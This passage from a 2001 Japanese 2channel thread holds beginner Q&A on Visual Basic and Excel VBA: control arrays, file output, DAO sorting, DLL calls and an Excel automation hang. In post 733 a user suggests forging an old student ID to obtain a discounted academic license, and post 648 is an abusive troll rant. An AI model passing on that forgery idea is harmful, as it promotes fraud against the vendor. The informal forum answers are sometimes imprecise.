625 :
621 :2001/03/09(金) 07:57
>>622 Captionでした。
どうもありがとうございました。
626 :
デフォルトの名無しさん :2001/03/09(金) 11:19
VB5でACTIVEXコンポーネントのヘルプが出てきません。 どーしたらでますか?
627 :
デフォルトの名無しさん :2001/03/09(金) 15:08
Set Picture1.picture = Picture2.picture 数字の「2」の部分が5になったり10になったりするのですが この部分を変数のようなもので置き換えるにはどうしたらよいでしょうか。
628 :
デフォルトの名無しさん :2001/03/09(金) 15:11
今度大学に行って情報学部に行くのですが どうやら(当然)プログラム演習があるらしいです。 でVB,VC++やるようですが自分としては グラフィックプログラムをやりたいです。 VBのグラフィックプログラムの本は出版されているのですが VC++のグラフィック系プログラムの本が見つからないのです どなたか良い本を教えてください。 ちなみにゲームプログラムのようなものじゃなくて 簡単な球体とか作るやつを乗せているものが欲しいです
629 :
デフォルトの名無しさん :2001/03/09(金) 15:42
>VB5でACTIVEXコンポーネントのヘルプが出てきません。 意味がよくわかりませんが、何のヘルプがみたいんですか?
630 :
デフォルトの名無しさん :2001/03/09(金) 15:43
>Set Picture1.picture = Picture2.picture ヘルプで「コントロール配列」というのを調べてみてください。
>>627 CommonControlsのImageListを使う、という手もあります。一応
632 :
627 :2001/03/09(金) 21:33
>630,631 ありがとうございます。 ヘルプを見ましたら、脳がとろけそうでしたが なんとか理解してみます。
633 :
デフォルトの名無しさん :2001/03/09(金) 23:36
このようなスレでいつも思うのだが、ヘルプに書いてあることをヘルプに 書いてある以上に簡単に的確に情報量を落とさず説明することは可能なのだろうか? こーゆー質問スレは、自分で調べ回ったが情報が見つからず、もう手詰まりの状態 で聞くべきだと思うのだが。 ヘルプを読んでわからないことが、ここで聞くとわかるものなのかな? ヘルプを読んで理解できなかったことが無いので、よくわからん。
634 :
デフォルトの名無しさん :2001/03/09(金) 23:40
ヘルプが上手く見つけられないんでしょ。
635 :
50からのVB :2001/03/10(土) 00:39
よくエディター等である上のメニュー(ファイルとか編集とか)を選択すると、 その機能が使えないと透明になるじゃないですか? あれってどうすればよいのですか? 例)文字を入力していないと、編集メニュー→置換が透明になっているとか・・・・
>>628 どこに主体を置いているのかよく解りませんが
>VBのグラフィックプログラムの本は出版されているのですが
>VC++のグラフィック系プログラムの本が見つからないのです
住んでいる地域にもよるでしょうね。VCの本も多く出版されています。
http://www.amazon.co.jp/ プログラミングの方に主体を置いている場合は
DirectX OpenGL GDI Mesa
などのキーワードで調べるといいのではないでしょうか。
「これ」というような本は見たことがないのでお薦めは挙げられませんけど。
>簡単な球体とか作るやつを乗せているものが欲しいです
3DCGをやりたいのだと理解すると
「コンピュータグラフィックス」っていう\8000位の本とか
ttp://www.cc.rim.or.jp/~devilman/ が定番なんじゃないかな。
637 :
デフォルトの名無しさん :2001/03/12(月) 11:11
>>635 多分、enabledとかそーいうフラグがあると思うな
638 :
デフォルトの名無しさん :2001/03/12(月) 16:22
VBでウィンドウ枠のないウィンドウって作れますか?
>>638 API使えばできる。
サンプルはあちこちにあるからgoogleで検索すべし。
640 :
デフォルトの名無しさん :2001/03/12(月) 16:33
VBでマルチ・スレッドと共有メモリ、プロセス間通信の 解説がしてあるサイトがあったら、教えて下さい。
641 :
デフォルトの名無しさん :2001/03/12(月) 16:43
Perl張りの正規表現を実現させたい。 参考になるソースはありませんか? 他のソフトを使うってのはやめたいです。
642 :
>640 :2001/03/12(月) 16:45
643 :
>641 :2001/03/12(月) 16:55
WSH使えばいいのでは?
644 :
デフォルトの名無しさん :2001/03/12(月) 17:24
>>638 BorderStyleプロパティ
>>640 VBでマルチスレッドは止めておいた方がいい。できないこと
はないけど、スレッドセーフは保障されてない
>>641 BASP21を使うか、VB Scriptの正規表現エンジンを使え
645 :
638 :2001/03/12(月) 18:52
すみません、説明足りませんでした。 「ウィンドウ枠なし」というのは、例えば自作のグラフィックを使って、 そのグラフィックがそのままウィンドウになるというような感じです。 (たとえば「ぺたろう」や、WinMediaPlayerの小型化時のようなウィンドウです) もちろんどこをドラッグしても、ウィンドウの移動は可能です。
646 :
デフォルトの名無しさん :2001/03/12(月) 21:11
>>645 リージョンを作るか、Windows 2000ならレイヤードウィンドウで。
当然、キャプションは非表示にするので、Mouseイベントをキャプ
ションに対して投げてやる必要あり。
647 :
635 :2001/03/13(火) 00:19
648 :
名無番長 :2001/03/13(火) 03:40
2ちゃんねるはメガネオタクの集まり!!
どうしょうも出来へんな!!
スキルも無いくせに能書きだけは一人前の奴ばっか!!
ほんまにスキルある奴は軽く遊んだるから、かかってこいや!!
アホが!!2ちゃんねるはメガネオタクの集まり!!
メガネ割りたい!!
文句あるなら、かかってこいや!!
アホが!!
http://www.rju666.com/
649 :
638 :2001/03/13(火) 10:22
>>646 ありがとうございます。
早速調べてみます。
>>648 ありがとうございます。
早速調べてみます。
もう、春だね
653 :
名無し戦隊ナノレンジャー! :2001/03/13(火) 21:53
無限ループしちゃったときって どうやって抜け出すんですか?
655 :
デフォルトの名無しさん :2001/03/13(火) 22:15
>無限ループしちゃったときって >どうやって抜け出すんですか? デバッグ中なら実行->終了。 でなければ、Ctrl+Break。 それでもだめなら、タスクマネージャ(NT系)orCtrl+Alt+Delete(9x) でプロセスKill。
656 :
デフォルトの名無しさん :2001/03/13(火) 22:19
プログラムをなるべく無限ループしちゃわないようにするのだ。
657 :
デフォルトの名無しさん :2001/03/13(火) 23:00
whileとか goto とか repeatとか使わなくする。
658 :
デフォルトの名無しさん :2001/03/14(水) 01:44
MsgBoxに書いた事を次々とテキストファイルとして保存するには どのようにすればよいのでしょうか?
659 :
デフォルトの名無しさん :2001/03/14(水) 02:56
テキストボックスの半角スペースと改行を強調表示(バッグに色を付ける)
したいんですが、いい方法ありますか?
普通の文字ならばリッチテキストボックス使えば楽勝なんですが、
半角スペースと改行は強調されないんですよね。
どうしたらいいでしょうか。
>>658 メッセージボックスを表示すると同時にファイルに書き出す処理をする
関数をつくって、メッセージボックスを表示したいときは、その関数を呼ぶ
ような感じにするといいと思う。たぶん。
660 :
デフォルトの名無しさん :2001/03/14(水) 03:08
>659 具体的に書いて頂けるとありがたいです。
バッグ
662 :
デフォルトの名無しさん :2001/03/14(水) 03:19
>>653 とりあえず怪しいループにはDoEvents入れよーや
運良ければ停止ボタンで脱出できるし
663 :
659 :2001/03/14(水) 03:35
>>660 Sub AppendTextMegBox(strMsg As String)
'ファイルに文字を追加
Open "c:\temp.txt" For Append As #1
Print #1, strMsg
Close #1
'メッセージボックスを表示
MsgBox strMsg
End Sub
こんな感じ?
呼ぶときは
AppendTextMegBox "アウアウアー"
って感じ。
もしかして一つのファイルじゃなくて複数のファイルですか? もしそうなら、これじゃダメだけど。
665 :
名無し戦隊ナノレンジャー! :2001/03/14(水) 06:49
VBでポリゴンを作ろうとおもってるんですが、 ポリゴンで使う各々の点の座標を決めるとき x[1],x[2],・・・,x[n]というような感じで、 各変数に番号を打ちたいんですけど どうやったらできますか? あと、各々の点をある軸中心に回転させるとき どうすればいいんですか?
>>665 Dim x(100) as Integer とか
667 :
デフォルトの名無しさん :2001/03/14(水) 13:44
プログラムの質問でなくてすみません。 自分は学生でアカデミックパックという製品を買おうと思っているのですが、 通常版にくらべて随分安いですよね。 あれって機能限定版なんでしょうか? あるいは他の何らかの制限がかかっているのでしょうか? そういった制限があるのなら通常版を買おうかとも検討中です。 どなたかご存知の方がいたら教えてください。 ちなみにProfessional版を買おうと思ってます。
>>667 MSのサイトに書いてるyo
自分で調べなsai
669 :
名無し~3.EXE :2001/03/14(水) 14:44
>>667 学生・教育機関関係者以外が買えない以外は
制限なかったはず。
社会人なら放送大学に入るという手も。
どっかにM$からの回答があったはず。
ちょっと探してみる。
671 :
667 :2001/03/14(水) 16:52
くれくれ君で申し訳ありませんでした。 どうもありがとうございました。
672 :
デフォルトの名無しさん :2001/03/14(水) 16:58
あのうMs-Chartコントロールが再描画でちらつくんですけど ちらつかせない方法あるんでしょうか?
673 :
デフォルトの名無しさん :2001/03/14(水) 20:50
VBまったくの初心者です、というか、 これからVB始めたいのですが、何を用意すれば良いのですか?(死
674 :
デフォルトの名無しさん :2001/03/14(水) 20:57
>673 まず、大切なのは、なによりも、重要なことは、VBをやめることだ。 その点はクリアーしていると言える。 そして次の言語を学ぼう。
675 :
デフォルトの名無しさん :2001/03/14(水) 21:34
>>674 まあまあ、そう言わずに。
プログラム初心者が、窓GUIプログラミングするには、
やっぱうってつけだと思うよ。
VBも、そこそこ頑張れば、そこそこのソフト作れるんだから。
んで、物足りなくなったら、Delphiなり、C++ Builderに逝きゃいい。
あ、VC++は論外ね。
>>674 VBマスターすると、オブジェクト指向が身につく
例えば、クラスの概念の、クラスの中のメソッド、プロパティを
利用するというのは、text1.textと同じだろ(独学)
また、そつなくアルゴリズムも理解できる。このアルゴリズム
流れさえつかんでしまえば、あとは、関数が変わるだけ。
VBをやっていて最大の難点は、ポインタの理解とメモリ等の概念
だとおもう。
677 :
デフォルトの名無しさん :2001/03/14(水) 22:19
GUIが簡単に作れすぎ。 何よりランタイム。 OS依存。 C系と比べ単純明快すぎ→移行が難しい。
678 :
677 :2001/03/14(水) 22:24
でも文字列の扱いは簡単でいいぞ。 C#に期待。
679 :
デフォルトの名無しさん :2001/03/15(木) 03:02
>>678 同意。文字列操作なんてCでやるもんじゃない。
あ、BC++Bには AnsiString があるか。
いいぞぉ、BC++B は。
Linux 上で動く Kylix あるし。
680 :
デフォルトの名無しさん :2001/03/15(木) 12:22
681 :
デフォルトの名無しさん :2001/03/15(木) 12:57
VBって通常ではスレッドを扱えないからキライ
682 :
デフォルトの名無しさん :2001/03/15(木) 13:04
>>681 ActiveX.dllにすれば・・・ってのは通常じゃない?
そういうはっそうが VBなんだよな
与えられたものでどうにかするしかないじゃん
最近はじめた者です。本読みながら電卓つくったりしてます。 VB初心者へお勧め書籍あったら教えてください。 みなさんが「おいらは昔この本読んで勉強したぜ」って奴を。
686 :
デフォルトの名無しさん :2001/03/16(金) 14:55
MSDNで事足りすぎ。うらやましいぐらい。
687 :
デフォルトの名無しさん :2001/03/16(金) 15:10
>663 なるほど・・・出来ました。 今度はExcelに書いていく事は出来ますか?
688 :
663 :2001/03/17(土) 06:45
>>687 Excel追加は参照設定でExcelのオブジェクトライブラリ選択して
そいつ使ってやればカンタンにできると思う。
つーか俺の質問にはダレも答えてくれない・・。
不可能って事かな。
689 :
デフォルトの名無しさん :2001/03/17(土) 15:02
>688=663 テキストボックスじゃできないのはわかるよね。ちょっと 思いついたんだけど、、 半角を"□"、改行を"↓"とかで置き換えてやるといいかも。
690 :
デフォルトの名無しさん :2001/03/17(土) 15:14
そこはかとなく、痛いスレッドだね。
691 :
デフォルトの名無しさん :2001/03/17(土) 15:56
まったく、2chってどこもかしこも救い様がないね。 VBがなぜ生まれたのか、そしてその活用するシーン はどこか、そういう体系だった学習をしてこないから、 バカみたいな発言ばかりになるわけだ。 VB嫌いなら、C++だって嫌いになるだろうに。
692 :
デフォルトの名無しさん :2001/03/17(土) 15:58
口先と、自分でも読めないわけのわからないコードの山を クソみてぇにひねりだすバカが多いCプログラマは、全く どうしようもない。
694 :
663 :2001/03/17(土) 23:30
>>689 それじゃ思いっきり「文字」になっちまいますな・・。
うーん、テキストボックスデバイスをGetDCして
無理矢理bitbltとかはできたから、
なんかそれを利用してスペースと改行の所に
なんかを無理矢理描画させたりする上手い方法ないかと。
>>691 さりげなく最も2ちゃんらしい書き込みだ
696 :
デフォルトの名無しさん :2001/03/18(日) 03:25
ともあれ、仕様がガラガラ変わることを除けばVBはかなり 面白いと思う。ActiveXのお陰で。APIを直接いじくり 出したらそれはもうVBやめなさいってなるけど。
697 :
デフォルトの名無しさん :2001/03/19(月) 01:26
StrとCStrの違いは何ですか?
698 :
デフォルトの名無しさん :2001/03/19(月) 11:09
C++で非MFCDLLを作ったんですが、VBからLong型の配列(A(20))を、DLLに渡したいのですが、 __declspec( dllexport ) void __stdcall WriteFile(int* A) { /*中身*/ }; がC++で、 Public Declare Function HOGELONG Lib "hoge.dll" (ByRef A As Long) As Long dim f(20) as long for i=0 to 20 f(i)=i next i call HOGELONG(f(0)) とやったのですが、「正しくDLLを呼び出せません」となってしまいます。 どうすればよいのでしょうか。
699 :
デフォルトの名無しさん :2001/03/19(月) 12:09
>Public Declare Function HOGELONG Lib "hoge.dll" (ByRef A As Long) ByValにしてみんさい
700 :
デフォルトの名無しさん :2001/03/19(月) 13:40
DAO3.51で質問です。例えば、Recordsetオブジェクトの並びが、 Index Name 1 foo 2 bar となっているとします。これにAddnewメソッドを使用して、レコードを 追加したいのですが、結果を、 Index Name 1 foo 3 hoge 2 bar としたいのです。普通にAddnewを使用すると、Recordsetオブジェクトの 最後に返されますので、ダメなのです。 Indexプロパティを使えばできるようなことがMSDNに書いてあるのですが、 どういった風に使ってよいのかわかりません。 糸口になりそうな事でもよろしいので、ご存知の方、いらっしゃいましたらご教授下さい。
702 :
デフォルトの名無しさん :2001/03/19(月) 13:50
>>698 返値がないならDeclare Subで宣言しないと。
703 :
デフォルトの名無しさん :2001/03/19(月) 13:52
>>700 意味がわからん。RDBMSで、レコードの順序を期待しちゃいかんよ。
取得するときに、Orderかけてとればいいだけ。
704 :
デフォルトの名無しさん :2001/03/19(月) 13:53
>>694 描画するのはいいんだけど、それだと選択できなくなっちゃうよ。
PictureBoxとか使って、描画から入力から全部制御するって
いうのなら別だけど、Edit系のコントロールを使うなら置き換えた方が
楽でしょ。
705 :
デフォルトの名無しさん :2001/03/19(月) 14:03
>>703 さん
どうもレスありがとうございます。
順序を期待しちゃいけないんですね。
よろしければ、「Orderかけてとればいいだけ」というのをもう少し
教えていただけませんでしょうか?よろしくお願いします。
>>700 SQLを勉強しましょう。やっぱ、なんでも
基本を勉強しないとだめだねー
707 :
700 :2001/03/19(月) 14:17
>>703 さん
ソート用のフィールドを作れ、ということですね。
やってみます。
708 :
デフォルトの名無しさん :2001/03/19(月) 14:38
>>707 そゆこと。登録順に表示したければ、登録した日時を保存するフィ―ルド
を用意すればおっけー。
709 :
700 :2001/03/19(月) 15:20
>>706 さん
厳しい言葉、ありがとうございます。
今後も精進します。
>>708 さん(703さん?)
ありがとうございます。
これで作った方がのちのちのデータ追加にも対応できますので楽チンですね。
みなさん、どうもありがとうございました。
710 :
わすれた! :2001/03/19(月) 16:25
確か、VBでテキストボックスにあたかもプロパティやメソッドを追加 したかのように扱う方法があったと思うんだけど、忘れてしまった! 派生クラスっていうのかな?どういう方法でしたっけ? クラス作って、そのクラスにテキストボックスオブジェクトを渡して・・・ とかだったかな・・・。 どなたか覚えてましたら、教えて下さい。
>にあたかもプロパティやメソッドを追加 ユーザコントロールみたいだけど・・・ >クラス作って、そのクラスにテキストボックスオブジェクトを渡して・・・ サブクラス化のようでもアリ 好きにスレ
712 :
デフォルトの名無しさん :2001/03/19(月) 23:56
VBとVC++って両方あったほうが良いですか?
713 :
デフォルトの名無しさん :2001/03/20(火) 00:03
714 :
712 :2001/03/20(火) 00:15
その「何をするか」がまだあんまり決まってないんです。 今までこの手のことに疎くて、勉強してみようと思ってるんですが 右も左も分からない状態なので・・・ VBとVC++、それぞれどんなことが出来るのか教えていただけないでしょうか? 最初からこの質問すりゃよかったな。アホですみません。
715 :
ちょめ太 :2001/03/21(水) 11:10
EXCELのマクロの事で質問があります。 シート名を取得し、セルに表示したいのですが、そのような命令もしくは 関数が用意されているのであれば、関数がありましたら、教えて頂けますか? 当方EXCEL2000を使用しております。 スレと少々趣旨が違う質問をお許しください。
Dim wb As Workbook Dim i As Long Set wb = GetObject("aho.xls") For i = 1 To wb.Worksheets.Count MsgBox wb.Worksheets(i).Name Next wb.Close Set wb = Nothing
シート名参照 worksheets(?).name ヘルプぐらい見ろよ
718 :
715 :2001/03/21(水) 13:14
>>716 717 殿
さっそくの回答ありがとうございました。
助かりました。
719 :
:2001/03/22(木) 12:16
貼り付けたActiveXコントロールだけ動くように文書保護できませんか?
720 :
名無しさん :2001/03/22(木) 14:12
VBで変数を定義するときに、外部から持ってきたデータを NAME1 NAME2・・・・・ のようにインデックス番号付きにしたいのですけどやりかたがわかりません 持ってくるデータは可変個です
721 :
>720 :2001/03/22(木) 14:34
配列またはディクショナリオブジェクト、コレクションではダメかね?
722 :
:2001/03/23(金) 16:16
ワードテンプレートとして貼り付けたActiveXコントロールを呼び出す VBAがうごかん。 コントロールオブジェクトをクリックするとVBA開始するしろものなんだけど。
723 :
>722 :2001/03/23(金) 16:50
それだけじゃわからn
724 :
:2001/03/23(金) 17:38
>>723 ワードのテンプレートファイルのVBAが新規ドキュメントに コピーされんのですよ。
725 :
ななし :2001/03/24(土) 19:02
試用期間として、ある会社に通っています。 顧客登録プログラムをつくるようにいわれ、今必死で勉強しています。 で、DAOとADOって、どう違うんでしょうか?
726 :
>725 :2001/03/24(土) 19:45
727 :
725 :2001/03/25(日) 16:02
>726 ありがとう。せっかくなんで、新しいほう(ADO)でやってみます。 それにしても、ACCESSでクエリーつくってできたSQLって、なんで あんなに不必要な括弧が多いのでしょう?コードに貼り付けるときに 面倒です。
728 :
初心者 :2001/03/25(日) 20:22
VBを使ってRS-232インターフェースに繋がっているものを制御したい のですが、誰かやり方を教えていただけないでしょうか?
729 :
初心者 :2001/03/25(日) 20:34
730 :
デフォルトの名無しさん :2001/03/25(日) 20:42
>>728 -729
文面ではどこがわからないのか不明。
とりあえず、HelpをMsCommで検索してみな。
731 :
デフォルトの名無しさん :2001/03/27(火) 17:48
金がないので通販でアカデミーパックを代引きで購入しようと思ってるんだけど 大丈夫だよね? あ、32歳会社員です。
通販でも学生証のコピーが必要なところもある。 MSはそうしないとダメって言ってるけど。
733 :
デフォルトの名無しさん :2001/03/27(火) 19:50
コピーなら昔の学生証偽造すんべ。 でもビックカメラはノーチェックって情報入手したけど本当かな?
VBAなんですけど... ThisDocumentに貼り付けられているActiveXコントロールの名前のリストを取得する方法はありますか?
735 :
デフォルトの名無しさん :2001/03/28(水) 18:30
ずるは逝けません。大学に再入学しましょう。 放送大学なら入学費2万円です。ソフト1個で元が取れます。 ニフティーも半額になるよ。
736 :
名無しさん@お腹いっぱい。 :2001/03/30(金) 21:28
ラベル・コントロールって、 Appearanceプロパティで横位置は指定できるけど、 縦の位置は指定できないですね。 枠の真ん中に表示する良い方法ありますか?
737 :
デフォルトの名無しさん :2001/03/31(土) 13:29
>>736 縦位置の調整はできないので、フォントサイズぎりぎりにして、
隣のコントロールと縦中心をあわせればいいでしょ。
↑は、メニューの書式か何かでできるよ。
738 :
名無しさん@お腹いっぱい。 :2001/04/02(月) 22:55
>>730 僕の知ってる限りだと、MSのCOMMを扱うコントロールって時々
おかしくなったんです。
もう直ったのかなぁ。
(ちと、独り言
740 :
デフォルトの名無しさん :2001/04/03(火) 17:58
Dim array1() As user_type のように宣言されている array1 が、 「すでに ReDim によってメモリの確保が行われているか、まだ行われていないか」 を調べたいのですが、どうやって調べたらいいのでしょうか? Null、Empty、IsArray、バリアント型にキャストしてIsArrayに渡す。 とかやってみたのですが、うまくいきませんでした。 ぜひとも教えてください。
741 :
デフォルトの名無しさん :2001/04/03(火) 21:18
>>740 一般的には、エラートラップしかないね。イヤなら門番を立てるか、
メモリを覗くか。
742 :
りく :2001/04/03(火) 22:15
VBで作成したEXEファイルを逆にVBのプログラムに戻すことは出来るのでしょうか? 実は今日VBのプログラムを誤って全部消してしまい、サーバに置いてあったEXEファイルだけが残っている状態です。 これだけは不幸中の幸いでしたけど、近いうちに改良しなければならないので大変困っています。 誰か知っていましたらよろしくお願いします。
743 :
デフォルトの名無しさん :2001/04/03(火) 23:32
>>742 無理です。
逆アセンブルツールがあるらしいですが、満足に使えるという話を
聞いたことはありません。
いまさらですけど、VSSとかを使った方がいいね。
744 :
740 :2001/04/03(火) 23:58
>>741 ありがとうございます。
>一般的には、エラートラップしかないね。イヤなら門番を立てるか、
そうします。
>メモリを覗くか。
ところで、メモリを覗く、とはどうやるのですか?
746 :
デフォルトの名無しさん :2001/04/04(水) 01:47
>>744 「RtlMoveMemory」で検索してね。
747 :
名無しさん :2001/04/04(水) 11:13
748 :
デフォルトの名無しさん :2001/04/04(水) 11:48
>>747 とりあえず、エラーコードは? GetLastError()はだめよん。
InternetOpen()でWININET初期化をした時に、既にErr.LastDllErrorに 指定されたモジュールが見つからないエラーが返ってました。 戻り値にインターネットハンドルが正常に返ってきてたみたいなので 見逃していたみたいです。 もう少し考えてみます。
750 :
休憩中 :2001/04/04(水) 12:31
インターネットコントロール用意してくれてるんだからそれだけを使ってればいいのさ。
751 :
デフォルトの名無しさん :2001/04/04(水) 14:34
ハンドルが0以外で返ってきてるなら成功してるんじゃない?
vbNullとvbNullStringが違ってただけでした・・・
753 :
デフォルトの名無しさん :2001/04/04(水) 20:13
>>752 vbNull = 1だから、気をつけないとね。
754 :
>743 :2001/04/04(水) 20:18
そうですか・・逆アセンプルツールというのってどんなのがあるかご存知でしょうか? いやあきらめた方がよさそうかもしれませんね。 自宅で一からやり直すしかないか・・あー鬱だ 743さん回答ありがとうございました。
755 :
デフォルトの名無しさん :2001/04/05(木) 02:33
>>754 ドイツ製のツールがあるってのは聞いたことがあるよ。
756 :
デフォルトの名無しさん :2001/04/05(木) 02:41
ぜんぜん初心者じゃありませんがどこで質問したらいいのかわからないのでここでします。 GetStdHandleとWriteFileをつかって標準出力に出力する時、上手くAnsi制御文字(だっけ?)が扱えません。 どうしたらいいのでしょうか? LSI-Cがあるからいざという時はいいけどCはいまいち自信がありません。
VB厨は全員初心者レベルです。
VBでインラインアセンブラ使う方法教えて下さい。 ASM END ASM とか書いても駄目みたいです。 それが駄目ならDATA文に書いといてPOKEで書き込むとか出来ますか?
759 :
デフォルトの名無しさん :2001/04/05(木) 15:27
「1_1_1_1_1」と言う文字列があっておのおのの数字があるコードになってるのですが これを数字ごとに分割して使いたいのですがどういった方法でやればいいのでしょうか?
760 :
デフォルトの名無しさん :2001/04/05(木) 15:50
>>756 Ans制御文字ってエスケープシーケンスコードの事?
どううまくいかない??
>>758 VBはそういう使い方はできない
>>759 VB6以降ならSplit関数を使う
それ以前なら自分で実装するか、ネットに落ちてるソースを
使う
762 :
759 :2001/04/05(木) 16:34
>>761 Split関数を使ったらインデックスエラーが出ます
値がNULLの時も使えるようにするにはどうしたらいいのでしょう?
splitする前にチェックするわけにはいかないの?
764 :
759 :2001/04/05(木) 16:45
>>763 初心者なのでさっぱりわかんないんです・・・・・
編集前の値が入った変数をvalueとすると If Len(value & "") <= 0 Then '値が空の時の処理 Else buf = Split(valuek,"_") End If
766 :
759 :2001/04/05(木) 17:41
>>756 ありがとうございます。
あと、
1_1_1_1_1のある部分がNULLの場合はどうしたらいいでしょうか?
たとえば
12__2_1_1のような時です
インデックスの有効範囲エラーになってしまいます
767 :
デフォルトの名無しさん :2001/04/05(木) 20:36
Dim E As String Dim D() As Byte E = "1_1_1_1_1" D = StrConv(E, vbFromUnicode) MsgBox Chr$(D(0))
768 :
756 :2001/04/05(木) 23:17
>>756 そうです。画面をクリアしようとしても変な文字になってしまうんです。
Chr(&H1B) & "]2J" を書きこめばいいんですよね?
769 :
>>768 :2001/04/05(木) 23:39
Win9xならansi.sysを組み込んでないとか。
770 :
768 :2001/04/06(金) 00:12
>>769 DOSのPROMPTコマンドでやってみたら成功したんでそれはないかと。
ちなみにWin2kRC2です
771 :
>>770 :2001/04/06(金) 00:59
"]2J"じゃなくて"[2J"だっつー話は?
772 :
770 :2001/04/06(金) 01:18
773 :
デフォルトの名無しさん :2001/04/06(金) 01:40
VBアプリから『c:\temp』に保存しているhtmファイルを開くにはどうしたらいいのですか?
774 :
デフォルトの名無しさん :2001/04/06(金) 07:48
もう、教えてくれんでいい!
775 :
救助依頼 :2001/04/06(金) 09:24
救助依頼です。できれば助けてください。 <救助依頼について> 下記に現状報告をします。そして、ピンチ内容の報告をします。 ピンチ内容について、助言をいただきたく思います。 よろしくお願いいたします。 <現状> 現在、MS-Access97のモジュールから、GetObject()で MS-Excel97のワークシートを開き、その内容を読み込み、 データベースサーバ(SQL-SERVER6.0)のテーブルに処理結果 を反映させる処理をやっています。 <ピンチ> ところが、2500行ほど処理をするとエクセルシートの読み込 みが止まってしまうのです。デバッグしてみると、 オートメーションエラーです。そして、エクセルは無反応・・・。 これは一体?! ちなみに、Windows98で起きてしまいますが、Windows2000では 問題無く処理が終了します。
776 :
デフォルトの名無しさん :2001/04/06(金) 10:29
777 :
デフォルトの名無しさん :2001/04/06(金) 11:16
>>775 ExcelをVBでコントロールするとそういったエラーがでることあるよ。
詳しくはMSのサイトにのっているよ。
私も以前、同じ問題で苦しんだよ。頑張ってね。
778 :
デフォルトの名無しさん :2001/04/06(金) 11:58
>>775 Access 側に遅延処理を書くとか。
779 :
777 :2001/04/06(金) 14:02
780 :
デフォルトの名無しさん :2001/04/06(金) 14:06
ありゃりゃ
782 :
775 :2001/04/06(金) 14:53
>>777 -780様
775の質問をした者です。どうもありがとうございました。
感謝いたします。
切迫した状況が続いておりまして、お礼の書き込みが
遅くなり大変失礼いたしました。
とても助かりました。
783 :
VB よくわからん :2001/04/06(金) 15:39
自作のユーザコントロールのツールボックスで使用される アイコンの書き換え方をご存知の方はいらっしゃいませんか?
784 :
デフォルトの名無しさん :2001/04/06(金) 15:51
>>775 あー、このバグねえ。でもこれループの回数を減らしても結局いつかは
止まるんじゃなかったかなあ。Win9xを使ってる限りだめだね。
これWin9xだとRPCのコールにPostMessageを使っててメッセージキューの
使用カウンタがオーバーフローして0に戻ってメッセージがあるにも
かかわらずメッセージが無いことになっちゃってRPCがタイムアウトするって
問題だったはず。
Excelの持ってるRPCメッセージを受け取るWindowに一秒に一回くらい適当な
メッセージをPostMessageをすれば回避できるはず。
まあ、Win2000に切り替えるのがお勧めだね。
あとはある程度の処理が終わったらExcelをどうにかして終了させる。 終了して再立ち上げすればメッセージキューの使用カウンタが0に 戻るからまたしばらく動く。
786 :
デフォルトの名無しさん :2001/04/06(金) 16:14
787 :
デフォルトの名無しさん :2001/04/06(金) 16:24
RPCコールを一回するたびにカウンタが1増えるのよ。 で、オートメーションは一回やるたびに4回RPCコールをするから 4増えると。で結局16384回のオートメーションを実行するとカウンタが 0になるから、RPCコールの受け側がRPCメッセージがないと勘違いして 処理がとまるわけ。だから16384回を8192回*2にしようが何しようが 同じアウトプロセスサーバに対するオートメーションの総数が16384回に なった時にハングする。増えていくカウンタ減らすすべは無いし、 終了しない限りクリアされることも無い。
788 :
デフォルトの名無しさん :2001/04/06(金) 17:10
今回の場合 >MS-Excel97のワークシートを開き、その内容を読み込み、 >データベースサーバ(SQL-SERVER6.0)のテーブルに処理結果 >を反映させる処理をやっています。 って事だから、1シートにつき一回のメソッドで値を取得すれば >で結局16384回のオートメーションを実行 こんなに実行しないで済むのでは、と。
789 :
デフォルトの名無しさん :2001/04/06(金) 20:41
よく、Windows2000をバカにしている人がいるけど、 ここまでやった人だけがその素晴らしさを知ると いう感じですな。
790 :
デフォルトの名無しさん :2001/04/09(月) 01:58
すみません 至急、誰か教えて下さい EXCELで自からを終了させるには、 ソースどう書けばいいのですか? イロイロやってもBOOKしか終了できなくて困っています コレが終われば明日の納品間にあいます 寝れます お願いします
791 :
デフォルトの名無しさん :2001/04/09(月) 22:00
>EXCELで自からを終了させるには、 >ソースどう書けばいいのですか? Application.Quit ヘルプ見てますか?
792 :
デフォルトの名無しさん :2001/04/09(月) 23:12
ギリギリまにあってよかったね790。
>>792 しかし、Application.Quitが分からない、Excelプログラムって
一体なんだったんだろうか?なぞ
794 :
デフォルトの名無しさん :2001/04/09(月) 23:35
ヘルプ見ない人って多いね。
>>790 マルチゃん。 逝ってよし。 盛大に逝ってよし。
796 :
デフォルトの名無しさん :2001/04/10(火) 12:03
ACCESS97のSQLに ORACLEの指定したフィールドに値がなかったら 別の指定した値を取得するNVL関数みたいのってあるんでしょうか?
797 :
デフォルトの名無しさん :2001/04/10(火) 12:07
IsNull ヘルプ見よ!
はずれ。NZ関数。 でもパススルークエリならNVLそのまま。 でもそのテーブル設計ってまずい。DEFAULT指定すべき。
SQLServerと勘違い ハズカシ
>797,798 ありがとうでした。 NZ・・・探しきれなかったので助かりました。 これで仕事が進みます(鬱
801 :
デフォルトの名無しさん :2001/04/11(水) 11:04
Accessのデータ(mdb)をVBで読み込み それに基づいてVB上のMS-GRAPHのデータシートの内容を書きかえたいのですが その方法や手順を教えていただけないでしょうか? また、参考に資料のようなものがWeb上などにあるのなら その場所を教えていただけないでしょうか? よろしくお願いします。
802 :
デフォルトの名無しさん :2001/04/11(水) 11:34
他のアプリケーションをVBから起動・終了させる方法を教えてください。
803 :
デフォルトの名無しさん :2001/04/11(水) 11:57
>802 MSDNで shell 終了 で検索しなさい
804 :
名無し :2001/04/12(木) 01:44
RichTextBoxで質問 Private Sub RichTextBox1_Change() WkStr = RichTextBox1.Text End Sub これをやると ・リッチテキストボックスになんでもいいから文字列を入れる ・文字を反転させる ・漢字入力(ローマ字変換)で文字を入力 すると初めのキーがIMEに渡らずにリッチテキストボックスに入力されます。 ATOK12でもMSIME2000でも同じ症状でした。あ、VB6SP4です。 なんとかならんですかね?
805 :
>804 :2001/04/12(木) 09:47
WinNT4.0 SP5 VB6.0 SP4 Office2000SR-1 そんな事おきないよ 環境壊れてるんじゃないの?
806 :
デフォルトの名無しさん :2001/04/12(木) 17:20
Printerオブジェクトで用紙サイズの強制指定ってできますか? PaperSize プロパティで設定できそうな感じですけどMSDNを見ても A4とかA3などの汎用的サイズは設定できても任意サイズでは指定できないようです。 やっぱりプリンタのプロパティウィンドウを開いてユーザーに設定してもらう しかないのかな。
